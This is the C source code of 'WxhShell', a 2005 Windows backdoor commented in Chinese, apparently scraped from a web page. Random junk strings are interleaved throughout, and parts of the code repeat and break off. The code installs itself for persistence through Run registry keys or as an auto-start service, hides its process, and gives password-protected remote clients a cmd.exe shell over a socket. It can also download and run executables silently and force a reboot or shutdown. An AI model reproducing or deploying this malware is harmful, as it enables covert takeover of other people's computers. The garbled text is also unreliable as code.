(ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yC]xYn) g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GAZw4dz NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C^o9::ER ;Jn"^zT if (!NtQueryInformationProcess) return 0; 7#
/c7 C/JeD-JG hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S~8w- lG! if(!hProcess) return 0; &?],uHB?d $/*6tsR if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tr^Egw] T[z]~MJL CloseHandle(hProcess); ;>eD`Wh 3
e19l!B hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6hE. i
x if(hProcess==NULL) return 0; PP{CK4 DA/l`Pn HMODULE hMod; ]8}+%P,Q char procName[255]; M*r/TT unsigned long cbNeeded; m#D+Yh/y{n -`iXAyr)m if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y7vTseq an4^(SY CloseHandle(hProcess); ,~R`@5+ BVKr 2v if(strstr(procName,"services")) return 1; // 以服务启动 "5KJ /7q! >y2;sJ4]D% return 0; // 注册表启动 wH=L+bA>a } COE,pb17 +s*OZ6i [ // 主模块 %TY;}V59 b int StartWxhshell(LPSTR lpCmdLine) fQ\nK H~ { !n=?H1@ SOCKET wsl; NhI&wl BOOL val=TRUE; D# $Fj int port=0; BZ] 6W/0 struct sockaddr_in door; !besMZ ;B 35E!QJ if(wscfg.ws_autoins) Install(); j.3#rxq 73-*|@6 port=atoi(lpCmdLine); y^rcUPLT YF+hN\ if(port<=0) port=wscfg.ws_port; ~*3obZ2>2 *h<=
(Y% WSADATA data; J3]!<v= if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V~Zi #o ]x8_f6;D if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; h,Y!d]2w setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Quc,,#u door.sin_family = AF_INET; yGNZw7^( door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7,i}M door.sin_port = htons(port); *wgHa6?+7 Q}KNtNCpx if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5E~?hWAv closesocket(wsl); Dq#/Uw# return 1; sr0.4VU1 } F{#m~4O LQ,RQ~! if(listen(wsl,2) == INVALID_SOCKET) { dLtSa\2Hn closesocket(wsl); 0W asE1t| return 1; [-Zp[ } E+Jh4$x{ Wxhshell(wsl); nkKiYr WSACleanup(); 56;(mbW )'<B\P/ return 0; ^2gDhoO_ Lx{bR= } KGMX >t' `y&d // 以NT服务方式启动 ]=s!cfu VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |-WoR u { dDuT,zP DWORD status = 0; M18H1e@Al DWORD specificError = 0xfffffff; "(@W^qF}d ~R;9a"nr serviceStatus.dwServiceType = SERVICE_WIN32; hK!Z~
serviceStatus.dwCurrentState = SERVICE_START_PENDING; "4VC:"$f serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'bH',X8gF serviceStatus.dwWin32ExitCode = 0; M*DF tp< serviceStatus.dwServiceSpecificExitCode = 0; x=+R0ny serviceStatus.dwCheckPoint = 0; a,o>E4#c serviceStatus.dwWaitHint = 0; |4UU`J9M <@BzF0 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "[` .I*WNo if (hServiceStatusHandle==0) return; 'C
l}IDF s m42 status = GetLastError(); #q;hX;Va if (status!=NO_ERROR) wzw`9^B { {K{&__Nk serviceStatus.dwCurrentState = SERVICE_STOPPED; OH.Re6Rr serviceStatus.dwCheckPoint = 0; Bg^k~NX% serviceStatus.dwWaitHint = 0; IrJPP2Q serviceStatus.dwWin32ExitCode = status; pUvbIbg+ serviceStatus.dwServiceSpecificExitCode = specificError; Qg)=4(<Hr SetServiceStatus(hServiceStatusHandle, &serviceStatus); F1V[8I.0 return; ?)B"\#`t } +]n.uA-`[a I91pX<NBf serviceStatus.dwCurrentState = SERVICE_RUNNING; <
q6z$c)K serviceStatus.dwCheckPoint = 0;
b>N)H serviceStatus.dwWaitHint = 0; 8>:kv:MId if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 89I[Dg;"u } _$<Q$P6y V:M$-6jv // 处理NT服务事件,比如:启动、停止 'Ii%/ Ob! VOID WINAPI NTServiceHandler(DWORD fdwControl) (BtavE { s]=s2.= switch(fdwControl) 3xhv~be { ~R`Rj*Q2Y case SERVICE_CONTROL_STOP:
G P"(+5 serviceStatus.dwWin32ExitCode = 0; "J0,SFu: serviceStatus.dwCurrentState = SERVICE_STOPPED; ; Q-f6)+& serviceStatus.dwCheckPoint = 0; fIrl?X'] serviceStatus.dwWaitHint = 0; x\=2D<@az { gTI!b SetServiceStatus(hServiceStatusHandle, &serviceStatus); l2DhFt$!= } T [w]w
return; e*O-LI2O case SERVICE_CONTROL_PAUSE: 3Lxk7D>0c serviceStatus.dwCurrentState = SERVICE_PAUSED; \]y4e^FZZ break; hcQvL> case SERVICE_CONTROL_CONTINUE: ap;tggi(H serviceStatus.dwCurrentState = SERVICE_RUNNING; zVLv-U/=d break; '4PAH2&n case SERVICE_CONTROL_INTERROGATE: ,&S^R yc break; U @Il:\I }; 2.I'`A SetServiceStatus(hServiceStatusHandle, &serviceStatus); ` [ EzU+ } njk.$]M|nf zE{@' // 标准应用程序主函数 ;T0Y=yC int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
c#qOK { !Jo3>!,j dzYB0vut@ // 获取操作系统版本 O*3x'I*a OsIsNt=GetOsVer(); =*q|568 GetModuleFileName(NULL,ExeFile,MAX_PATH); lVywc:X 4\HB rd#P // 从命令行安装 h&7]Bp if(strpbrk(lpCmdLine,"iI")) Install(); =<-tD< 55vpnRM // 下载执行文件 '1)BZ!
if(wscfg.ws_downexe) { @`:n +r5u if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C;DNL^ WinExec(wscfg.ws_filenam,SW_HIDE); Ep%5wR } NIeKS_ + !HA[:-JCz if(!OsIsNt) { |>(@n{ // 如果时win9x,隐藏进程并且设置为注册表启动 Wt +,6Cq HideProc(); aq[ ;[$w StartWxhshell(lpCmdLine); m1 78S3 } S7-ka{S else e^g3J/aU if(StartFromService()) dhe?7r]u // 以服务方式启动 9wP_dJvb StartServiceCtrlDispatcher(DispatchTable); $!c)%qDq else %Z-^Bu8;y // 普通方式启动 gY AXUM, StartWxhshell(lpCmdLine); .p%p _ ..qAE.%% return 0; V:h-K`~/ } R9SJ;TsE '3Ir(]Wfd &Z682b$ <uP> =========================================== 8y}9X v DXlP(={* E3gR%t .O[RE_j `BKo`@ }$W4aG*[ " )^UM8
s so|5HR| #include <stdio.h> $AAv%v #include <string.h> r}OK3J #include <windows.h> SCl$+9E #include <winsock2.h> qO=_i d #include <winsvc.h> #n^P[Zw #include <urlmon.h> -bHQy: YmM+x=G: #pragma comment (lib, "Ws2_32.lib") VOBzB] #pragma comment (lib, "urlmon.lib") u7>b}+ak& C Ih@H6| #define MAX_USER 100 // 最大客户端连接数 D%v4B`4ua' #define BUF_SOCK 200 // sock buffer !dB {E #define KEY_BUFF 255 // 输入 buffer :8}QKp *Dld?Q #define REBOOT 0 // 重启 ` bd #define SHUTDOWN 1 // 关机 <8MKjf `r+"2.z* #define DEF_PORT 5000 // 监听端口 27*u^N*z@ jw$3cwddH #define REG_LEN 16 // 注册表键长度 vS-k0g; #define SVC_LEN 80 // NT服务名长度 ._m+@Uy]H} O=}4?Xv // 从dll定义API '~i}2e. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wZVY h typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P0J3ci}^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HlqvXt\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ktg{-Xl I0 a,mO;m // wxhshell配置信息 v8"plx=3 struct WSCFG { \P]w^ int ws_port; // 监听端口 Ev;HV}G char ws_passstr[REG_LEN]; // 口令 M:|Z3p K int ws_autoins; // 安装标记, 1=yes 0=no H8~<;6W char ws_regname[REG_LEN]; // 注册表键名 J#B%
#X char ws_svcname[REG_LEN]; // 服务名 {S(d5o8 char ws_svcdisp[SVC_LEN]; // 服务显示名 E4RvVfA0F char ws_svcdesc[SVC_LEN]; // 服务描述信息 C.V")D= char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zyTP|SXk int ws_downexe; // 下载执行标记, 1=yes 0=no M}NmA char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @sJ[<V char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^"\ jIP zVe@`gc }; W
HO;;j > 4ex:Z // default Wxhshell configuration b7g\wnV8z struct WSCFG wscfg={DEF_PORT, yfeX=h "xuhuanlingzhe", )n 1b 1, Ddde,WJA "Wxhshell", ~H/|J^ J "Wxhshell", yiGq?WA7 "WxhShell Service", naCPSsei "Wrsky Windows CmdShell Service", 2bxkZS] "Please Input Your Password: ", 'EJ8)2 1, /*g3TbUs "http://www.wrsky.com/wxhshell.exe", WyVFhAuU "Wxhshell.exe" Eq^k @ }; k|Vq-w Zh`lC1l' // 消息定义模块 /]_T char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y0>asl char *msg_ws_prompt="\n\r? for help\n\r#>"; 'M185wDdAl char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7PO3{I char *msg_ws_ext="\n\rExit."; 6lO]V=+ char *msg_ws_end="\n\rQuit."; VTySKY+ char *msg_ws_boot="\n\rReboot..."; qEr2Y/:i" char *msg_ws_poff="\n\rShutdown..."; +9G
GC char *msg_ws_down="\n\rSave to "; ?F20\D\V aO('X3? char *msg_ws_err="\n\rErr!"; ZB GLwe char *msg_ws_ok="\n\rOK!"; Xn-GSW3{ \y^ Od7F char ExeFile[MAX_PATH]; M>dP
1 int nUser = 0; I&]d6, HANDLE handles[MAX_USER]; HXhz |s0 int OsIsNt; 'Ca6cm3Tg \bqIe}3V7 SERVICE_STATUS serviceStatus; PHl{pE* SERVICE_STATUS_HANDLE hServiceStatusHandle; m8eyAvi6 %"PG/avo // 函数声明 s42M[BW] int Install(void); .GUm3b int Uninstall(void); jW*|Mu>2 int DownloadFile(char *sURL, SOCKET wsh); TjxZ-qw< int Boot(int flag); <uUQ-]QOIh void HideProc(void); yjUZ40Dq int GetOsVer(void); Ov"]&e(I[ int Wxhshell(SOCKET wsl); `rsPIOu void TalkWithClient(void *cs); Mg;%];2Nt int CmdShell(SOCKET sock); $Z6g/bD`E int StartFromService(void); mZ
39 s int StartWxhshell(LPSTR lpCmdLine); dt(~)*~R ;]zV ?9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K,e"@G VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0xrr9X< QQUeY2} // 数据结构和表定义 \O5`R- SERVICE_TABLE_ENTRY DispatchTable[] = |m7U^ { %0C<_drW {wscfg.ws_svcname, NTServiceMain}, u- PAi5&n {NULL, NULL} #j
-bT4! }; sS;6QkI"y :+{G|goZ* // 自我安装 z+I'N4*^ int Install(void) /y lO["<Q { 1ael{b! char svExeFile[MAX_PATH]; rF:C({y HKEY key; z(2pl} strcpy(svExeFile,ExeFile); <+ UEM~) qd#?8 // 如果是win9x系统,修改注册表设为自启动 qp_lMz if(!OsIsNt) { .gTla if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hs/
aU_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lo*OmAF RegCloseKey(key); \7PPFKS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q\Dx/?g!vx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r!SMF]?SJ RegCloseKey(key); ^Gt&c_gH return 0; u~n*P``{ } RUqN,C,m5I } i'9aQi"G } >p#` %S else { %jz]s4u$5j G n"]<8yl~ // 如果是NT以上系统,安装为系统服务 |N_tVE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m3W:\LTTp if (schSCManager!=0) ST$~l7p { g^|}e? SC_HANDLE schService = CreateService X{4jyi-< ( 3qJOE6[}% schSCManager, hw! l{yv wscfg.ws_svcname, _R&mN\ey5 wscfg.ws_svcdisp, `i5U&K. 7 SERVICE_ALL_ACCESS, .GcIwP'aU- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^hq+
L^$^ SERVICE_AUTO_START, |/<,71Ae SERVICE_ERROR_NORMAL, %B?@le+% svExeFile, ws8@yr<R NULL, abiZ"?( NULL, j8n_:;i* NULL, t80s(e NULL, _5TSI'@.4 NULL V/|).YG2 ); K"u-nroHW if (schService!=0) HT&CbEa4' { &
$E[l' CloseServiceHandle(schService); uQh dg4 CloseServiceHandle(schSCManager); X[/>{rK strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0VsQ$4'V^ strcat(svExeFile,wscfg.ws_svcname); 4x7(50hp# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6.
N?=R RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "fK`F/ RegCloseKey(key); YXCltME return 0; np2oXg% } fkf69,+"] } aT}Mn(F*? CloseServiceHandle(schSCManager); ?;84 M@ } D4,kGU@ } ;1qE:x}'H S(NH# ^ return 1; t8X$M;$ } u=_"*:} qLrvKoEX2 // 自我卸载 58xaVOhb int Uninstall(void) Ku;|Dz/=o { \f| Hk*@ HKEY key; DV+M;rs tGt/=~n9 if(!OsIsNt) { iMG)zPj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %smQ`u| RegDeleteValue(key,wscfg.ws_regname); ^(z7?T RegCloseKey(key); vJZ0G:1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8vQGpIa, RegDeleteValue(key,wscfg.ws_regname); \H<gKZquR RegCloseKey(key); @1+C* return 0; 8VG6~>ux'> } ^n8ioL\*i } AI
KLJvte } &\<!{Y<' else { MJ5Ymt a FY;\1bt<< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MTBHFjXO if (schSCManager!=0) k3[rO}>s { u.v
5!G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _N8Tu~lqV if (schService!=0) *R9s0;&: { G!]%xFwYa if(DeleteService(schService)!=0) { ,RmXZnWY CloseServiceHandle(schService); 6Gt~tlt:L CloseServiceHandle(schSCManager); 9%fd\o@X return 0; oCtg{*vp } $cl[Qcw CloseServiceHandle(schService); ;]*V6!6RR } /V'^$enK!} CloseServiceHandle(schSCManager); U@t"o3E } $DPMi9,7^ } /|7@rH([{ wyzx9`5~d return 1; 2n]UNC } }YV,uJH[ !`kX</ha. // 从指定url下载文件 7#
>;iGuz int DownloadFile(char *sURL, SOCKET wsh) %v}SJEXFp { ggluQGA HRESULT hr; 2_S%vA<L char seps[]= "/"; 2MT_5j5[N char *token; lT.Q)( char *file; t<~WDI|AN char myURL[MAX_PATH]; y{&k`H char myFILE[MAX_PATH]; :~uvxiF m7<HK,d strcpy(myURL,sURL); 7
s+j) token=strtok(myURL,seps); #Z;6f{yWf while(token!=NULL) )"( ojh { 8aDSRfv* file=token; hz:^3F`>/& token=strtok(NULL,seps); JA]TO(x } 0!4;."S P9d%80(b4 GetCurrentDirectory(MAX_PATH,myFILE); ~bm
VpoI strcat(myFILE, "\\"); }E
o\=>l7 strcat(myFILE, file); PK&3nXF%4 send(wsh,myFILE,strlen(myFILE),0); C\-Abqc send(wsh,"...",3,0); By3y.}'Ub9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X?6E0/r&9 if(hr==S_OK) [^N8v;O return 0; 4Cd#S9<ed else +f5|qbX/\ return 1; !v/j*'L<M} GUX!kj } Gp 8%n F4P=Wz] // 系统电源模块 B #o/3 int Boot(int flag) tKr.{#) { hMcSB8 ? HANDLE hToken; g(X-]/C{ TOKEN_PRIVILEGES tkp; 0wFa7PyG? L&D+0p^lI if(OsIsNt) { P<.
TiF?@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T/[8w LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `/|S.a#g tkp.PrivilegeCount = 1; eA4dDKX+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JA=9EnTU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C-wwQbdG/ if(flag==REBOOT) { l7{]jKJue if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0LX"<~3j return 0; Sn o7Ru2 } @k<
e]@r else { BIu%A]e" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @ve4rc/LI return 0; Ark+Df/ } 1/ZvcdYB } /KL;%:7 else { YwbRzY-#F if(flag==REBOOT) { d]3c44kkK{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Yg @&@S] return 0; ]1 V,_^D } ">{Ruv}$ else { 4jWzYuI&J if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WO}l&Q return 0; {|R@\G.1( } Sio> QL Y } ,^Cl?\9" Nu/D$m'PY return 1; o+NPe36 } 73n|G/9n[ |iGfX,C| // win9x进程隐藏模块 xgdS]Sz void HideProc(void) 1q?b?. { PpxLMe] qVHXZdGL HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )+Nm@+B if ( hKernel != NULL ) }Q }&3m~g { 0XkLWl|k pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S]Y3nI ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TT85G FreeLibrary(hKernel); /*V:Lh } dkHye> . J/x@ return; OpNTyKbaD } S.: m$s <yoCW?# // 获取操作系统版本 AZj`o int GetOsVer(void) {Df97n%h; { YmBo/I M OSVERSIONINFO winfo; \d"uR@$3mG winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NmH1*w<A GetVersionEx(&winfo); Q|gw\.]$&[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !Q/%N# return 1; aEO`` W else CMcS4X9/} return 0; A:-M RhE9X } 8\AyKw tom1u>1n // 客户端句柄模块 eX{:&Do int Wxhshell(SOCKET wsl) slQxz;t { fGwRv%$^ SOCKET wsh; {?!0<0 struct sockaddr_in client; $]
gwaJ: DWORD myID; =do*( 4 !q4WQ ; while(nUser<MAX_USER) -T,/S^ { Wl29xY}`{! int nSize=sizeof(client); Q;V*M wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5xS
ze; if(wsh==INVALID_SOCKET) return 1; '\,|B
x8Q /Ezx'h3Q
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O BCH%\;g if(handles[nUser]==0) Ar;uq7c,G closesocket(wsh); S-5|t]LV else M*+MhM- nUser++; |}FK;@'I 6 } o 94]:$=~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @)\{u$ \{GBaMwG~ return 0; "mk4O4dF } ,Ky-3p> G
$F3dx.I // 关闭 socket
pxuZ=< void CloseIt(SOCKET wsh) q
n6ws { 5n1aRA1 closesocket(wsh); =*[98%b
nUser--; ycPGv.6 ExitThread(0); >RTmfV } e7$ZA#A_5v i3SrsVSG // 客户端请求句柄 p`PBPlUn void TalkWithClient(void *cs) 2!Gb4V { p'fD:M: /A4^l]H;+3 SOCKET wsh=(SOCKET)cs; nZtP!^# char pwd[SVC_LEN]; J8;l G char cmd[KEY_BUFF]; fPA5]a9 char chr[1]; ULJV int i,j; k0/S&e,* Vzmw%f)_+ while (nUser < MAX_USER) { !EuqJjh V~~4<?=A if(wscfg.ws_passstr) { HT%
=o}y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ed>Dhy6\r //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :|5\XV)> //ZeroMemory(pwd,KEY_BUFF); A@?Rj i=0; yPmo@aw]1 while(i<SVC_LEN) { [#3*R_#8R [2l2w[7Rid // 设置超时 <aPbKDF~V fd_set FdRead; H?a1XEY/ struct timeval TimeOut; l`wF;W! FD_ZERO(&FdRead); RP9jZRDbZ FD_SET(wsh,&FdRead); 5Xr<~xr TimeOut.tv_sec=8; :ot^bAyt| TimeOut.tv_usec=0; pVa9g)+z} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _[:>!ekx if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )UoF*vC( ]E:K8E
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3$yOv"` pwd=chr[0]; ~ZuFMVR if(chr[0]==0xd || chr[0]==0xa) { fp)%Cr pwd=0; [J-uvxD break; knS(\51A } ER'zjI>t@ i++; {: H&2iF } ~rl,Hr3Zo 4[P]+Z5b+ // 如果是非法用户,关闭 socket j]X$7 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tEbR/?,GI } ~TvKMW6/# MJ..' $>TC send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6A;,Ph2 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VHbQLJ0 g)M"Cx. while(1) { CwL8-z0 Jn p "Cxe ZeroMemory(cmd,KEY_BUFF); q[
-YXO GLpl // 自动支持客户端 telnet标准 k7cM.<s! j=0; ~5@bWJ while(j<KEY_BUFF) { 8rEUZk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .I#ss66h cmd[j]=chr[0]; dR|*VT\ if(chr[0]==0xa || chr[0]==0xd) { z=[?&X]O9b cmd[j]=0; 2vLV1v$,q break; y~Ts9AE } 6VQe?oh j++; IJQ"
*; } 9:v0gE+. +f"q^R IU // 下载文件 g[%^OT# if(strstr(cmd,"http://")) { g-8D1.U send(wsh,msg_ws_down,strlen(msg_ws_down),0); ; VH:dg if(DownloadFile(cmd,wsh)) [zsUboCkc send(wsh,msg_ws_err,strlen(msg_ws_err),0); j0q:i}/U, else l RM7s(^l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WV?3DzeR } tE(_Cg else { 9h/JW_ *P;
cSx?2 switch(cmd[0]) { 7]F@g}8 9%&
=n // 帮助 f j:q>}V case '?': { w'Vm'zo send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #O,;3S break; 'wT !X[jF } N% !TFQf // 安装 #]5A|-O^ case 'i': { YW7Pimks if(Install()) I ]HP send(wsh,msg_ws_err,strlen(msg_ws_err),0); */)O8`}2 else T)lkT? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Je[!X@C break; =~P)7D6 } rInZd`\ // 卸载 VtYrU>q case 'r': { Hpj7EaMZ_ if(Uninstall()) A?+cdbxJw send(wsh,msg_ws_err,strlen(msg_ws_err),0); w^Atd|~gi else ESyb34T` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e$l*s/"0t break; 8$~^-_>n/ } &G$K.q // 显示 wxhshell 所在路径 UNF@%O4_T case 'p': { DcRvZH char svExeFile[MAX_PATH]; E5QQI9ea strcpy(svExeFile,"\n\r"); ZGsI\3S strcat(svExeFile,ExeFile); R|'ftFebB. send(wsh,svExeFile,strlen(svExeFile),0); &\m=|S break; ,p)Qu%' } 12o6KVV^x // 重启 <X"_S'O case 'b': { 4d63+iM+} send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]9lR:V
sw if(Boot(REBOOT)) H#:Aby-d} send(wsh,msg_ws_err,strlen(msg_ws_err),0); e pGC
Ta else { IcJQC closesocket(wsh); =OamN7V= ExitThread(0); &B?*|M`)k } QruclNW{Bv break; ?^gq } 1a79]-j // 关机 Y{I,ipU. case 'd': { 1)t*l;. send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B*OBXN>'P if(Boot(SHUTDOWN)) wO&+Bb\= send(wsh,msg_ws_err,strlen(msg_ws_err),0); "L&84^lmf else { )s|o&aP> closesocket(wsh); 21sXCmYR,t ExitThread(0); 5*\]F} } `DS7J\c$ break; %X**( } r) g:-[Ox9 // 获取shell V/Q/Ujgg case 's': { ((AIrE>Rr CmdShell(wsh); BF/l#)$yK closesocket(wsh); =:*2t ExitThread(0); _V,bvHWlM break; \\P*w$c } $!7$0WbC // 退出 C$4!|Wg3 case 'x': { BFswqp: send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a\B'Qe+ CloseIt(wsh); 8 -YC#& break; !rTkH4!_ } })umg8s // 离开 ]{ir^[A6 case 'q': { x(7Q5Uk\ send(wsh,msg_ws_end,strlen(msg_ws_end),0); td 5!
S] closesocket(wsh); Q" G;L WSACleanup(); ^tY
_ q exit(1); Y2aN<>f break; 8}K4M( } LV@tt&|N
} x4XCR,- } dLbSvK<(I ![&9\aH // 提示信息 ^l{q{O7U$ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F% z$^ m- } ~cul;bb# } 4SJb\R)XK V`m9+<.1 b return; }v6@yU }
bKt4 I9L7,~s // shell模块句柄 ~oz??SX int CmdShell(SOCKET sock) 3c+ps;nh { Ejj+%)n. STARTUPINFO si; QxT\_Nej*n ZeroMemory(&si,sizeof(si)); oVQbc\P3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R!rj:f!> si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^@f.~4P*I PROCESS_INFORMATION ProcessInfo; heScIe
N^` char cmdline[]="cmd"; p^)w$UL}} CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LRqlK\ return 0; j8W<iy } 0M!GoqaA H;MyT Vl // 自身启动模式 (bAw>
int StartFromService(void) d' l|oeS { 2H/{OQ$ typedef struct mo"1|Q& { y\_k8RqE^ DWORD ExitStatus; #ri;{d^6 DWORD PebBaseAddress; &l0,q=T DWORD AffinityMask; et=i@PB) DWORD BasePriority; l4ru0V8s7 ULONG UniqueProcessId; 3fxcH ULONG InheritedFromUniqueProcessId; ^s\T<; } PROCESS_BASIC_INFORMATION; 4{ [d '-H5 5c$\DZ( PROCNTQSIP NtQueryInformationProcess; `_SV1|=="8 Z8`Y}#Za [ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dP?QPky{9 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]GBlads W<:x4gBa HANDLE hProcess; <"yL(s^u" PROCESS_BASIC_INFORMATION pbi; .'b|pd U(2=fKK; HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o ~M=o:^nH if(NULL == hInst ) return 0; ajW2HH*9}A ?5;N=\GQ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RZ|M;c g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zEt!Pug NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W'6sY@0m F+!9T if (!NtQueryInformationProcess) return 0; aU*}.{<! }/QtIY#I hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &WZ&Tt/)/ if(!hProcess) return 0; TE6]4E* tLcw?aB if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; og&-P=4O ]f>0P3O5& CloseHandle(hProcess); pKU(4&BxX 4 %V9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PMT}fg if(hProcess==NULL) return 0; 9"zp>VR $b)t`r+ HMODULE hMod; iK!FVKi} char procName[255]; n`V? n unsigned long cbNeeded; D!z'Y,. 5+UNLvsZ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) 